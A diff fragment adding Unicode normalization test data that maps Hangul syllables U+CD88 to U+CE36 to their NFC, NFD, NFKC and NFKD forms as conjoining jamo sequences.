+{ source: [0xCD88], NFC: [0xCD88], NFD: [0x110E, 0x116D, 0x11B7], NFKC: [0xCD88], NFKD: [0x110E, 0x116D, 0x11B7] },
+{ source: [0xCD89], NFC: [0xCD89], NFD: [0x110E, 0x116D, 0x11B8], NFKC: [0xCD89], NFKD: [0x110E, 0x116D, 0x11B8] },
+{ source: [0xCD8A], NFC: [0xCD8A], NFD: [0x110E, 0x116D, 0x11B9], NFKC: [0xCD8A], NFKD: [0x110E, 0x116D, 0x11B9] },
+{ source: [0xCD8B], NFC: [0xCD8B], NFD: [0x110E, 0x116D, 0x11BA], NFKC: [0xCD8B], NFKD: [0x110E, 0x116D, 0x11BA] },
+{ source: [0xCD8C], NFC: [0xCD8C], NFD: [0x110E, 0x116D, 0x11BB], NFKC: [0xCD8C], NFKD: [0x110E, 0x116D, 0x11BB] },
+{ source: [0xCD8D], NFC: [0xCD8D], NFD: [0x110E, 0x116D, 0x11BC], NFKC: [0xCD8D], NFKD: [0x110E, 0x116D, 0x11BC] },
+{ source: [0xCD8E], NFC: [0xCD8E], NFD: [0x110E, 0x116D, 0x11BD], NFKC: [0xCD8E], NFKD: [0x110E, 0x116D, 0x11BD] },
+{ source: [0xCD8F], NFC: [0xCD8F], NFD: [0x110E, 0x116D, 0x11BE], NFKC: [0xCD8F], NFKD: [0x110E, 0x116D, 0x11BE] },
+{ source: [0xCD90], NFC: [0xCD90], NFD: [0x110E, 0x116D, 0x11BF], NFKC: [0xCD90], NFKD: [0x110E, 0x116D, 0x11BF] },
+{ source: [0xCD91], NFC: [0xCD91], NFD: [0x110E, 0x116D, 0x11C0], NFKC: [0xCD91], NFKD: [0x110E, 0x116D, 0x11C0] },
+{ source: [0xCD92], NFC: [0xCD92], NFD: [0x110E, 0x116D, 0x11C1], NFKC: [0xCD92], NFKD: [0x110E, 0x116D, 0x11C1] },
+{ source: [0xCD93], NFC: [0xCD93], NFD: [0x110E, 0x116D, 0x11C2], NFKC: [0xCD93], NFKD: [0x110E, 0x116D, 0x11C2] },
+{ source: [0xCD94], NFC: [0xCD94], NFD: [0x110E, 0x116E], NFKC: [0xCD94], NFKD: [0x110E, 0x116E] },
+{ source: [0xCD95], NFC: [0xCD95], NFD: [0x110E, 0x116E, 0x11A8], NFKC: [0xCD95], NFKD: [0x110E, 0x116E, 0x11A8] },
+{ source: [0xCD96], NFC: [0xCD96], NFD: [0x110E, 0x116E, 0x11A9], NFKC: [0xCD96], NFKD: [0x110E, 0x116E, 0x11A9] },
+{ source: [0xCD97], NFC: [0xCD97], NFD: [0x110E, 0x116E, 0x11AA], NFKC: [0xCD97], NFKD: [0x110E, 0x116E, 0x11AA] },
+{ source: [0xCD98], NFC: [0xCD98], NFD: [0x110E, 0x116E, 0x11AB], NFKC: [0xCD98], NFKD: [0x110E, 0x116E, 0x11AB] },
+{ source: [0xCD99], NFC: [0xCD99], NFD: [0x110E, 0x116E, 0x11AC], NFKC: [0xCD99], NFKD: [0x110E, 0x116E, 0x11AC] },
+{ source: [0xCD9A], NFC: [0xCD9A], NFD: [0x110E, 0x116E, 0x11AD], NFKC: [0xCD9A], NFKD: [0x110E, 0x116E, 0x11AD] },
+{ source: [0xCD9B], NFC: [0xCD9B], NFD: [0x110E, 0x116E, 0x11AE], NFKC: [0xCD9B], NFKD: [0x110E, 0x116E, 0x11AE] },
+{ source: [0xCD9C], NFC: [0xCD9C], NFD: [0x110E, 0x116E, 0x11AF], NFKC: [0xCD9C], NFKD: [0x110E, 0x116E, 0x11AF] },
+{ source: [0xCD9D], NFC: [0xCD9D], NFD: [0x110E, 0x116E, 0x11B0], NFKC: [0xCD9D], NFKD: [0x110E, 0x116E, 0x11B0] },
+{ source: [0xCD9E], NFC: [0xCD9E], NFD: [0x110E, 0x116E, 0x11B1], NFKC: [0xCD9E], NFKD: [0x110E, 0x116E, 0x11B1] },
+{ source: [0xCD9F], NFC: [0xCD9F], NFD: [0x110E, 0x116E, 0x11B2], NFKC: [0xCD9F], NFKD: [0x110E, 0x116E, 0x11B2] },
+{ source: [0xCDA0], NFC: [0xCDA0], NFD: [0x110E, 0x116E, 0x11B3], NFKC: [0xCDA0], NFKD: [0x110E, 0x116E, 0x11B3] },
+{ source: [0xCDA1], NFC: [0xCDA1], NFD: [0x110E, 0x116E, 0x11B4], NFKC: [0xCDA1], NFKD: [0x110E, 0x116E, 0x11B4] },
+{ source: [0xCDA2], NFC: [0xCDA2], NFD: [0x110E, 0x116E, 0x11B5], NFKC: [0xCDA2], NFKD: [0x110E, 0x116E, 0x11B5] },
+{ source: [0xCDA3], NFC: [0xCDA3], NFD: [0x110E, 0x116E, 0x11B6], NFKC: [0xCDA3], NFKD: [0x110E, 0x116E, 0x11B6] },
+{ source: [0xCDA4], NFC: [0xCDA4], NFD: [0x110E, 0x116E, 0x11B7], NFKC: [0xCDA4], NFKD: [0x110E, 0x116E, 0x11B7] },
+{ source: [0xCDA5], NFC: [0xCDA5], NFD: [0x110E, 0x116E, 0x11B8], NFKC: [0xCDA5], NFKD: [0x110E, 0x116E, 0x11B8] },
+{ source: [0xCDA6], NFC: [0xCDA6], NFD: [0x110E, 0x116E, 0x11B9], NFKC: [0xCDA6], NFKD: [0x110E, 0x116E, 0x11B9] },
+{ source: [0xCDA7], NFC: [0xCDA7], NFD: [0x110E, 0x116E, 0x11BA], NFKC: [0xCDA7], NFKD: [0x110E, 0x116E, 0x11BA] },
+{ source: [0xCDA8], NFC: [0xCDA8], NFD: [0x110E, 0x116E, 0x11BB], NFKC: [0xCDA8], NFKD: [0x110E, 0x116E, 0x11BB] },
+{ source: [0xCDA9], NFC: [0xCDA9], NFD: [0x110E, 0x116E, 0x11BC], NFKC: [0xCDA9], NFKD: [0x110E, 0x116E, 0x11BC] },
+{ source: [0xCDAA], NFC: [0xCDAA], NFD: [0x110E, 0x116E, 0x11BD], NFKC: [0xCDAA], NFKD: [0x110E, 0x116E, 0x11BD] },
+{ source: [0xCDAB], NFC: [0xCDAB], NFD: [0x110E, 0x116E, 0x11BE], NFKC: [0xCDAB], NFKD: [0x110E, 0x116E, 0x11BE] },
+{ source: [0xCDAC], NFC: [0xCDAC], NFD: [0x110E, 0x116E, 0x11BF], NFKC: [0xCDAC], NFKD: [0x110E, 0x116E, 0x11BF] },
+{ source: [0xCDAD], NFC: [0xCDAD], NFD: [0x110E, 0x116E, 0x11C0], NFKC: [0xCDAD], NFKD: [0x110E, 0x116E, 0x11C0] },
+{ source: [0xCDAE], NFC: [0xCDAE], NFD: [0x110E, 0x116E, 0x11C1], NFKC: [0xCDAE], NFKD: [0x110E, 0x116E, 0x11C1] },
+{ source: [0xCDAF], NFC: [0xCDAF], NFD: [0x110E, 0x116E, 0x11C2], NFKC: [0xCDAF], NFKD: [0x110E, 0x116E, 0x11C2] },
+{ source: [0xCDB0], NFC: [0xCDB0], NFD: [0x110E, 0x116F], NFKC: [0xCDB0], NFKD: [0x110E, 0x116F] },
+{ source: [0xCDB1], NFC: [0xCDB1], NFD: [0x110E, 0x116F, 0x11A8], NFKC: [0xCDB1], NFKD: [0x110E, 0x116F, 0x11A8] },
+{ source: [0xCDB2], NFC: [0xCDB2], NFD: [0x110E, 0x116F, 0x11A9], NFKC: [0xCDB2], NFKD: [0x110E, 0x116F, 0x11A9] },
+{ source: [0xCDB3], NFC: [0xCDB3], NFD: [0x110E, 0x116F, 0x11AA], NFKC: [0xCDB3], NFKD: [0x110E, 0x116F, 0x11AA] },
+{ source: [0xCDB4], NFC: [0xCDB4], NFD: [0x110E, 0x116F, 0x11AB], NFKC: [0xCDB4], NFKD: [0x110E, 0x116F, 0x11AB] },
+{ source: [0xCDB5], NFC: [0xCDB5], NFD: [0x110E, 0x116F, 0x11AC], NFKC: [0xCDB5], NFKD: [0x110E, 0x116F, 0x11AC] },
+{ source: [0xCDB6], NFC: [0xCDB6], NFD: [0x110E, 0x116F, 0x11AD], NFKC: [0xCDB6], NFKD: [0x110E, 0x116F, 0x11AD] },
+{ source: [0xCDB7], NFC: [0xCDB7], NFD: [0x110E, 0x116F, 0x11AE], NFKC: [0xCDB7], NFKD: [0x110E, 0x116F, 0x11AE] },
+{ source: [0xCDB8], NFC: [0xCDB8], NFD: [0x110E, 0x116F, 0x11AF], NFKC: [0xCDB8], NFKD: [0x110E, 0x116F, 0x11AF] },
+{ source: [0xCDB9], NFC: [0xCDB9], NFD: [0x110E, 0x116F, 0x11B0], NFKC: [0xCDB9], NFKD: [0x110E, 0x116F, 0x11B0] },
+{ source: [0xCDBA], NFC: [0xCDBA], NFD: [0x110E, 0x116F, 0x11B1], NFKC: [0xCDBA], NFKD: [0x110E, 0x116F, 0x11B1] },
+{ source: [0xCDBB], NFC: [0xCDBB], NFD: [0x110E, 0x116F, 0x11B2], NFKC: [0xCDBB], NFKD: [0x110E, 0x116F, 0x11B2] },
+{ source: [0xCDBC], NFC: [0xCDBC], NFD: [0x110E, 0x116F, 0x11B3], NFKC: [0xCDBC], NFKD: [0x110E, 0x116F, 0x11B3] },
+{ source: [0xCDBD], NFC: [0xCDBD], NFD: [0x110E, 0x116F, 0x11B4], NFKC: [0xCDBD], NFKD: [0x110E, 0x116F, 0x11B4] },
+{ source: [0xCDBE], NFC: [0xCDBE], NFD: [0x110E, 0x116F, 0x11B5], NFKC: [0xCDBE], NFKD: [0x110E, 0x116F, 0x11B5] },
+{ source: [0xCDBF], NFC: [0xCDBF], NFD: [0x110E, 0x116F, 0x11B6], NFKC: [0xCDBF], NFKD: [0x110E, 0x116F, 0x11B6] },
+{ source: [0xCDC0], NFC: [0xCDC0], NFD: [0x110E, 0x116F, 0x11B7], NFKC: [0xCDC0], NFKD: [0x110E, 0x116F, 0x11B7] },
+{ source: [0xCDC1], NFC: [0xCDC1], NFD: [0x110E, 0x116F, 0x11B8], NFKC: [0xCDC1], NFKD: [0x110E, 0x116F, 0x11B8] },
+{ source: [0xCDC2], NFC: [0xCDC2], NFD: [0x110E, 0x116F, 0x11B9], NFKC: [0xCDC2], NFKD: [0x110E, 0x116F, 0x11B9] },
+{ source: [0xCDC3], NFC: [0xCDC3], NFD: [0x110E, 0x116F, 0x11BA], NFKC: [0xCDC3], NFKD: [0x110E, 0x116F, 0x11BA] },
+{ source: [0xCDC4], NFC: [0xCDC4], NFD: [0x110E, 0x116F, 0x11BB], NFKC: [0xCDC4], NFKD: [0x110E, 0x116F, 0x11BB] },
+{ source: [0xCDC5], NFC: [0xCDC5], NFD: [0x110E, 0x116F, 0x11BC], NFKC: [0xCDC5], NFKD: [0x110E, 0x116F, 0x11BC] },
+{ source: [0xCDC6], NFC: [0xCDC6], NFD: [0x110E, 0x116F, 0x11BD], NFKC: [0xCDC6], NFKD: [0x110E, 0x116F, 0x11BD] },
+{ source: [0xCDC7], NFC: [0xCDC7], NFD: [0x110E, 0x116F, 0x11BE], NFKC: [0xCDC7], NFKD: [0x110E, 0x116F, 0x11BE] },
+{ source: [0xCDC8], NFC: [0xCDC8], NFD: [0x110E, 0x116F, 0x11BF], NFKC: [0xCDC8], NFKD: [0x110E, 0x116F, 0x11BF] },
+{ source: [0xCDC9], NFC: [0xCDC9], NFD: [0x110E, 0x116F, 0x11C0], NFKC: [0xCDC9], NFKD: [0x110E, 0x116F, 0x11C0] },
+{ source: [0xCDCA], NFC: [0xCDCA], NFD: [0x110E, 0x116F, 0x11C1], NFKC: [0xCDCA], NFKD: [0x110E, 0x116F, 0x11C1] },
+{ source: [0xCDCB], NFC: [0xCDCB], NFD: [0x110E, 0x116F, 0x11C2], NFKC: [0xCDCB], NFKD: [0x110E, 0x116F, 0x11C2] },
+{ source: [0xCDCC], NFC: [0xCDCC], NFD: [0x110E, 0x1170], NFKC: [0xCDCC], NFKD: [0x110E, 0x1170] },
+{ source: [0xCDCD], NFC: [0xCDCD], NFD: [0x110E, 0x1170, 0x11A8], NFKC: [0xCDCD], NFKD: [0x110E, 0x1170, 0x11A8] },
+{ source: [0xCDCE], NFC: [0xCDCE], NFD: [0x110E, 0x1170, 0x11A9], NFKC: [0xCDCE], NFKD: [0x110E, 0x1170, 0x11A9] },
+{ source: [0xCDCF], NFC: [0xCDCF], NFD: [0x110E, 0x1170, 0x11AA], NFKC: [0xCDCF], NFKD: [0x110E, 0x1170, 0x11AA] },
+{ source: [0xCDD0], NFC: [0xCDD0], NFD: [0x110E, 0x1170, 0x11AB], NFKC: [0xCDD0], NFKD: [0x110E, 0x1170, 0x11AB] },
+{ source: [0xCDD1], NFC: [0xCDD1], NFD: [0x110E, 0x1170, 0x11AC], NFKC: [0xCDD1], NFKD: [0x110E, 0x1170, 0x11AC] },
+{ source: [0xCDD2], NFC: [0xCDD2], NFD: [0x110E, 0x1170, 0x11AD], NFKC: [0xCDD2], NFKD: [0x110E, 0x1170, 0x11AD] },
+{ source: [0xCDD3], NFC: [0xCDD3], NFD: [0x110E, 0x1170, 0x11AE], NFKC: [0xCDD3], NFKD: [0x110E, 0x1170, 0x11AE] },
+{ source: [0xCDD4], NFC: [0xCDD4], NFD: [0x110E, 0x1170, 0x11AF], NFKC: [0xCDD4], NFKD: [0x110E, 0x1170, 0x11AF] },
+{ source: [0xCDD5], NFC: [0xCDD5], NFD: [0x110E, 0x1170, 0x11B0], NFKC: [0xCDD5], NFKD: [0x110E, 0x1170, 0x11B0] },
+{ source: [0xCDD6], NFC: [0xCDD6], NFD: [0x110E, 0x1170, 0x11B1], NFKC: [0xCDD6], NFKD: [0x110E, 0x1170, 0x11B1] },
+{ source: [0xCDD7], NFC: [0xCDD7], NFD: [0x110E, 0x1170, 0x11B2], NFKC: [0xCDD7], NFKD: [0x110E, 0x1170, 0x11B2] },
+{ source: [0xCDD8], NFC: [0xCDD8], NFD: [0x110E, 0x1170, 0x11B3], NFKC: [0xCDD8], NFKD: [0x110E, 0x1170, 0x11B3] },
+{ source: [0xCDD9], NFC: [0xCDD9], NFD: [0x110E, 0x1170, 0x11B4], NFKC: [0xCDD9], NFKD: [0x110E, 0x1170, 0x11B4] },
+{ source: [0xCDDA], NFC: [0xCDDA], NFD: [0x110E, 0x1170, 0x11B5], NFKC: [0xCDDA], NFKD: [0x110E, 0x1170, 0x11B5] },
+{ source: [0xCDDB], NFC: [0xCDDB], NFD: [0x110E, 0x1170, 0x11B6], NFKC: [0xCDDB], NFKD: [0x110E, 0x1170, 0x11B6] },
+{ source: [0xCDDC], NFC: [0xCDDC], NFD: [0x110E, 0x1170, 0x11B7], NFKC: [0xCDDC], NFKD: [0x110E, 0x1170, 0x11B7] },
+{ source: [0xCDDD], NFC: [0xCDDD], NFD: [0x110E, 0x1170, 0x11B8], NFKC: [0xCDDD], NFKD: [0x110E, 0x1170, 0x11B8] },
+{ source: [0xCDDE], NFC: [0xCDDE], NFD: [0x110E, 0x1170, 0x11B9], NFKC: [0xCDDE], NFKD: [0x110E, 0x1170, 0x11B9] },
+{ source: [0xCDDF], NFC: [0xCDDF], NFD: [0x110E, 0x1170, 0x11BA], NFKC: [0xCDDF], NFKD: [0x110E, 0x1170, 0x11BA] },
+{ source: [0xCDE0], NFC: [0xCDE0], NFD: [0x110E, 0x1170, 0x11BB], NFKC: [0xCDE0], NFKD: [0x110E, 0x1170, 0x11BB] },
+{ source: [0xCDE1], NFC: [0xCDE1], NFD: [0x110E, 0x1170, 0x11BC], NFKC: [0xCDE1], NFKD: [0x110E, 0x1170, 0x11BC] },
+{ source: [0xCDE2], NFC: [0xCDE2], NFD: [0x110E, 0x1170, 0x11BD], NFKC: [0xCDE2], NFKD: [0x110E, 0x1170, 0x11BD] },
+{ source: [0xCDE3], NFC: [0xCDE3], NFD: [0x110E, 0x1170, 0x11BE], NFKC: [0xCDE3], NFKD: [0x110E, 0x1170, 0x11BE] },
+{ source: [0xCDE4], NFC: [0xCDE4], NFD: [0x110E, 0x1170, 0x11BF], NFKC: [0xCDE4], NFKD: [0x110E, 0x1170, 0x11BF] },
+{ source: [0xCDE5], NFC: [0xCDE5], NFD: [0x110E, 0x1170, 0x11C0], NFKC: [0xCDE5], NFKD: [0x110E, 0x1170, 0x11C0] },
+{ source: [0xCDE6], NFC: [0xCDE6], NFD: [0x110E, 0x1170, 0x11C1], NFKC: [0xCDE6], NFKD: [0x110E, 0x1170, 0x11C1] },
+{ source: [0xCDE7], NFC: [0xCDE7], NFD: [0x110E, 0x1170, 0x11C2], NFKC: [0xCDE7], NFKD: [0x110E, 0x1170, 0x11C2] },
+{ source: [0xCDE8], NFC: [0xCDE8], NFD: [0x110E, 0x1171], NFKC: [0xCDE8], NFKD: [0x110E, 0x1171] },
+{ source: [0xCDE9], NFC: [0xCDE9], NFD: [0x110E, 0x1171, 0x11A8], NFKC: [0xCDE9], NFKD: [0x110E, 0x1171, 0x11A8] },
+{ source: [0xCDEA], NFC: [0xCDEA], NFD: [0x110E, 0x1171, 0x11A9], NFKC: [0xCDEA], NFKD: [0x110E, 0x1171, 0x11A9] },
+{ source: [0xCDEB], NFC: [0xCDEB], NFD: [0x110E, 0x1171, 0x11AA], NFKC: [0xCDEB], NFKD: [0x110E, 0x1171, 0x11AA] },
+{ source: [0xCDEC], NFC: [0xCDEC], NFD: [0x110E, 0x1171, 0x11AB], NFKC: [0xCDEC], NFKD: [0x110E, 0x1171, 0x11AB] },
+{ source: [0xCDED], NFC: [0xCDED], NFD: [0x110E, 0x1171, 0x11AC], NFKC: [0xCDED], NFKD: [0x110E, 0x1171, 0x11AC] },
+{ source: [0xCDEE], NFC: [0xCDEE], NFD: [0x110E, 0x1171, 0x11AD], NFKC: [0xCDEE], NFKD: [0x110E, 0x1171, 0x11AD] },
+{ source: [0xCDEF], NFC: [0xCDEF], NFD: [0x110E, 0x1171, 0x11AE], NFKC: [0xCDEF], NFKD: [0x110E, 0x1171, 0x11AE] },
+{ source: [0xCDF0], NFC: [0xCDF0], NFD: [0x110E, 0x1171, 0x11AF], NFKC: [0xCDF0], NFKD: [0x110E, 0x1171, 0x11AF] },
+{ source: [0xCDF1], NFC: [0xCDF1], NFD: [0x110E, 0x1171, 0x11B0], NFKC: [0xCDF1], NFKD: [0x110E, 0x1171, 0x11B0] },
+{ source: [0xCDF2], NFC: [0xCDF2], NFD: [0x110E, 0x1171, 0x11B1], NFKC: [0xCDF2], NFKD: [0x110E, 0x1171, 0x11B1] },
+{ source: [0xCDF3], NFC: [0xCDF3], NFD: [0x110E, 0x1171, 0x11B2], NFKC: [0xCDF3], NFKD: [0x110E, 0x1171, 0x11B2] },
+{ source: [0xCDF4], NFC: [0xCDF4], NFD: [0x110E, 0x1171, 0x11B3], NFKC: [0xCDF4], NFKD: [0x110E, 0x1171, 0x11B3] },
+{ source: [0xCDF5], NFC: [0xCDF5], NFD: [0x110E, 0x1171, 0x11B4], NFKC: [0xCDF5], NFKD: [0x110E, 0x1171, 0x11B4] },
+{ source: [0xCDF6], NFC: [0xCDF6], NFD: [0x110E, 0x1171, 0x11B5], NFKC: [0xCDF6], NFKD: [0x110E, 0x1171, 0x11B5] },
+{ source: [0xCDF7], NFC: [0xCDF7], NFD: [0x110E, 0x1171, 0x11B6], NFKC: [0xCDF7], NFKD: [0x110E, 0x1171, 0x11B6] },
+{ source: [0xCDF8], NFC: [0xCDF8], NFD: [0x110E, 0x1171, 0x11B7], NFKC: [0xCDF8], NFKD: [0x110E, 0x1171, 0x11B7] },
+{ source: [0xCDF9], NFC: [0xCDF9], NFD: [0x110E, 0x1171, 0x11B8], NFKC: [0xCDF9], NFKD: [0x110E, 0x1171, 0x11B8] },
+{ source: [0xCDFA], NFC: [0xCDFA], NFD: [0x110E, 0x1171, 0x11B9], NFKC: [0xCDFA], NFKD: [0x110E, 0x1171, 0x11B9] },
+{ source: [0xCDFB], NFC: [0xCDFB], NFD: [0x110E, 0x1171, 0x11BA], NFKC: [0xCDFB], NFKD: [0x110E, 0x1171, 0x11BA] },
+{ source: [0xCDFC], NFC: [0xCDFC], NFD: [0x110E, 0x1171, 0x11BB], NFKC: [0xCDFC], NFKD: [0x110E, 0x1171, 0x11BB] },
+{ source: [0xCDFD], NFC: [0xCDFD], NFD: [0x110E, 0x1171, 0x11BC], NFKC: [0xCDFD], NFKD: [0x110E, 0x1171, 0x11BC] },
+{ source: [0xCDFE], NFC: [0xCDFE], NFD: [0x110E, 0x1171, 0x11BD], NFKC: [0xCDFE], NFKD: [0x110E, 0x1171, 0x11BD] },
+{ source: [0xCDFF], NFC: [0xCDFF], NFD: [0x110E, 0x1171, 0x11BE], NFKC: [0xCDFF], NFKD: [0x110E, 0x1171, 0x11BE] },
+{ source: [0xCE00], NFC: [0xCE00], NFD: [0x110E, 0x1171, 0x11BF], NFKC: [0xCE00], NFKD: [0x110E, 0x1171, 0x11BF] },
+{ source: [0xCE01], NFC: [0xCE01], NFD: [0x110E, 0x1171, 0x11C0], NFKC: [0xCE01], NFKD: [0x110E, 0x1171, 0x11C0] },
+{ source: [0xCE02], NFC: [0xCE02], NFD: [0x110E, 0x1171, 0x11C1], NFKC: [0xCE02], NFKD: [0x110E, 0x1171, 0x11C1] },
+{ source: [0xCE03], NFC: [0xCE03], NFD: [0x110E, 0x1171, 0x11C2], NFKC: [0xCE03], NFKD: [0x110E, 0x1171, 0x11C2] },
+{ source: [0xCE04], NFC: [0xCE04], NFD: [0x110E, 0x1172], NFKC: [0xCE04], NFKD: [0x110E, 0x1172] },
+{ source: [0xCE05], NFC: [0xCE05], NFD: [0x110E, 0x1172, 0x11A8], NFKC: [0xCE05], NFKD: [0x110E, 0x1172, 0x11A8] },
+{ source: [0xCE06], NFC: [0xCE06], NFD: [0x110E, 0x1172, 0x11A9], NFKC: [0xCE06], NFKD: [0x110E, 0x1172, 0x11A9] },
+{ source: [0xCE07], NFC: [0xCE07], NFD: [0x110E, 0x1172, 0x11AA], NFKC: [0xCE07], NFKD: [0x110E, 0x1172, 0x11AA] },
+{ source: [0xCE08], NFC: [0xCE08], NFD: [0x110E, 0x1172, 0x11AB], NFKC: [0xCE08], NFKD: [0x110E, 0x1172, 0x11AB] },
+{ source: [0xCE09], NFC: [0xCE09], NFD: [0x110E, 0x1172, 0x11AC], NFKC: [0xCE09], NFKD: [0x110E, 0x1172, 0x11AC] },
+{ source: [0xCE0A], NFC: [0xCE0A], NFD: [0x110E, 0x1172, 0x11AD], NFKC: [0xCE0A], NFKD: [0x110E, 0x1172, 0x11AD] },
+{ source: [0xCE0B], NFC: [0xCE0B], NFD: [0x110E, 0x1172, 0x11AE], NFKC: [0xCE0B], NFKD: [0x110E, 0x1172, 0x11AE] },
+{ source: [0xCE0C], NFC: [0xCE0C], NFD: [0x110E, 0x1172, 0x11AF], NFKC: [0xCE0C], NFKD: [0x110E, 0x1172, 0x11AF] },
+{ source: [0xCE0D], NFC: [0xCE0D], NFD: [0x110E, 0x1172, 0x11B0], NFKC: [0xCE0D], NFKD: [0x110E, 0x1172, 0x11B0] },
+{ source: [0xCE0E], NFC: [0xCE0E], NFD: [0x110E, 0x1172, 0x11B1], NFKC: [0xCE0E], NFKD: [0x110E, 0x1172, 0x11B1] },
+{ source: [0xCE0F], NFC: [0xCE0F], NFD: [0x110E, 0x1172, 0x11B2], NFKC: [0xCE0F], NFKD: [0x110E, 0x1172, 0x11B2] },
+{ source: [0xCE10], NFC: [0xCE10], NFD: [0x110E, 0x1172, 0x11B3], NFKC: [0xCE10], NFKD: [0x110E, 0x1172, 0x11B3] },
+{ source: [0xCE11], NFC: [0xCE11], NFD: [0x110E, 0x1172, 0x11B4], NFKC: [0xCE11], NFKD: [0x110E, 0x1172, 0x11B4] },
+{ source: [0xCE12], NFC: [0xCE12], NFD: [0x110E, 0x1172, 0x11B5], NFKC: [0xCE12], NFKD: [0x110E, 0x1172, 0x11B5] },
+{ source: [0xCE13], NFC: [0xCE13], NFD: [0x110E, 0x1172, 0x11B6], NFKC: [0xCE13], NFKD: [0x110E, 0x1172, 0x11B6] },
+{ source: [0xCE14], NFC: [0xCE14], NFD: [0x110E, 0x1172, 0x11B7], NFKC: [0xCE14], NFKD: [0x110E, 0x1172, 0x11B7] },
+{ source: [0xCE15], NFC: [0xCE15], NFD: [0x110E, 0x1172, 0x11B8], NFKC: [0xCE15], NFKD: [0x110E, 0x1172, 0x11B8] },
+{ source: [0xCE16], NFC: [0xCE16], NFD: [0x110E, 0x1172, 0x11B9], NFKC: [0xCE16], NFKD: [0x110E, 0x1172, 0x11B9] },
+{ source: [0xCE17], NFC: [0xCE17], NFD: [0x110E, 0x1172, 0x11BA], NFKC: [0xCE17], NFKD: [0x110E, 0x1172, 0x11BA] },
+{ source: [0xCE18], NFC: [0xCE18], NFD: [0x110E, 0x1172, 0x11BB], NFKC: [0xCE18], NFKD: [0x110E, 0x1172, 0x11BB] },
+{ source: [0xCE19], NFC: [0xCE19], NFD: [0x110E, 0x1172, 0x11BC], NFKC: [0xCE19], NFKD: [0x110E, 0x1172, 0x11BC] },
+{ source: [0xCE1A], NFC: [0xCE1A], NFD: [0x110E, 0x1172, 0x11BD], NFKC: [0xCE1A], NFKD: [0x110E, 0x1172, 0x11BD] },
+{ source: [0xCE1B], NFC: [0xCE1B], NFD: [0x110E, 0x1172, 0x11BE], NFKC: [0xCE1B], NFKD: [0x110E, 0x1172, 0x11BE] },
+{ source: [0xCE1C], NFC: [0xCE1C], NFD: [0x110E, 0x1172, 0x11BF], NFKC: [0xCE1C], NFKD: [0x110E, 0x1172, 0x11BF] },
+{ source: [0xCE1D], NFC: [0xCE1D], NFD: [0x110E, 0x1172, 0x11C0], NFKC: [0xCE1D], NFKD: [0x110E, 0x1172, 0x11C0] },
+{ source: [0xCE1E], NFC: [0xCE1E], NFD: [0x110E, 0x1172, 0x11C1], NFKC: [0xCE1E], NFKD: [0x110E, 0x1172, 0x11C1] },
+{ source: [0xCE1F], NFC: [0xCE1F], NFD: [0x110E, 0x1172, 0x11C2], NFKC: [0xCE1F], NFKD: [0x110E, 0x1172, 0x11C2] },
+{ source: [0xCE20], NFC: [0xCE20], NFD: [0x110E, 0x1173], NFKC: [0xCE20], NFKD: [0x110E, 0x1173] },
+{ source: [0xCE21], NFC: [0xCE21], NFD: [0x110E, 0x1173, 0x11A8], NFKC: [0xCE21], NFKD: [0x110E, 0x1173, 0x11A8] },
+{ source: [0xCE22], NFC: [0xCE22], NFD: [0x110E, 0x1173, 0x11A9], NFKC: [0xCE22], NFKD: [0x110E, 0x1173, 0x11A9] },
+{ source: [0xCE23], NFC: [0xCE23], NFD: [0x110E, 0x1173, 0x11AA], NFKC: [0xCE23], NFKD: [0x110E, 0x1173, 0x11AA] },
+{ source: [0xCE24], NFC: [0xCE24], NFD: [0x110E, 0x1173, 0x11AB], NFKC: [0xCE24], NFKD: [0x110E, 0x1173, 0x11AB] },
+{ source: [0xCE25], NFC: [0xCE25], NFD: [0x110E, 0x1173, 0x11AC], NFKC: [0xCE25], NFKD: [0x110E, 0x1173, 0x11AC] },
+{ source: [0xCE26], NFC: [0xCE26], NFD: [0x110E, 0x1173, 0x11AD], NFKC: [0xCE26], NFKD: [0x110E, 0x1173, 0x11AD] },
+{ source: [0xCE27], NFC: [0xCE27], NFD: [0x110E, 0x1173, 0x11AE], NFKC: [0xCE27], NFKD: [0x110E, 0x1173, 0x11AE] },
+{ source: [0xCE28], NFC: [0xCE28], NFD: [0x110E, 0x1173, 0x11AF], NFKC: [0xCE28], NFKD: [0x110E, 0x1173, 0x11AF] },
+{ source: [0xCE29], NFC: [0xCE29], NFD: [0x110E, 0x1173, 0x11B0], NFKC: [0xCE29], NFKD: [0x110E, 0x1173, 0x11B0] },
+{ source: [0xCE2A], NFC: [0xCE2A], NFD: [0x110E, 0x1173, 0x11B1], NFKC: [0xCE2A], NFKD: [0x110E, 0x1173, 0x11B1] },
+{ source: [0xCE2B], NFC: [0xCE2B], NFD: [0x110E, 0x1173, 0x11B2], NFKC: [0xCE2B], NFKD: [0x110E, 0x1173, 0x11B2] },
+{ source: [0xCE2C], NFC: [0xCE2C], NFD: [0x110E, 0x1173, 0x11B3], NFKC: [0xCE2C], NFKD: [0x110E, 0x1173, 0x11B3] },
+{ source: [0xCE2D], NFC: [0xCE2D], NFD: [0x110E, 0x1173, 0x11B4], NFKC: [0xCE2D], NFKD: [0x110E, 0x1173, 0x11B4] },
+{ source: [0xCE2E], NFC: [0xCE2E], NFD: [0x110E, 0x1173, 0x11B5], NFKC: [0xCE2E], NFKD: [0x110E, 0x1173, 0x11B5] },
+{ source: [0xCE2F], NFC: [0xCE2F], NFD: [0x110E, 0x1173, 0x11B6], NFKC: [0xCE2F], NFKD: [0x110E, 0x1173, 0x11B6] },
+{ source: [0xCE30], NFC: [0xCE30], NFD: [0x110E, 0x1173, 0x11B7], NFKC: [0xCE30], NFKD: [0x110E, 0x1173, 0x11B7] },
+{ source: [0xCE31], NFC: [0xCE31], NFD: [0x110E, 0x1173, 0x11B8], NFKC: [0xCE31], NFKD: [0x110E, 0x1173, 0x11B8] },
+{ source: [0xCE32], NFC: [0xCE32], NFD: [0x110E, 0x1173, 0x11B9], NFKC: [0xCE32], NFKD: [0x110E, 0x1173, 0x11B9] },
+{ source: [0xCE33], NFC: [0xCE33], NFD: [0x110E, 0x1173, 0x11BA], NFKC: [0xCE33], NFKD: [0x110E, 0x1173, 0x11BA] },
+{ source: [0xCE34], NFC: [0xCE34], NFD: [0x110E, 0x1173, 0x11BB], NFKC: [0xCE34], NFKD: [0x110E, 0x1173, 0x11BB] },
+{ source: [0xCE35], NFC: [0xCE35], NFD: [0x110E, 0x1173, 0x11BC], NFKC: [0xCE35], NFKD: [0x110E, 0x1173, 0x11BC] },
+{ source: [0xCE36], NFC: [0xCE36], NFD: [0x110E, 0x1173, 0x11BD], NFKC: [0xCE36], NFKD: [0x110E, 0x1173, 0x11BD] },
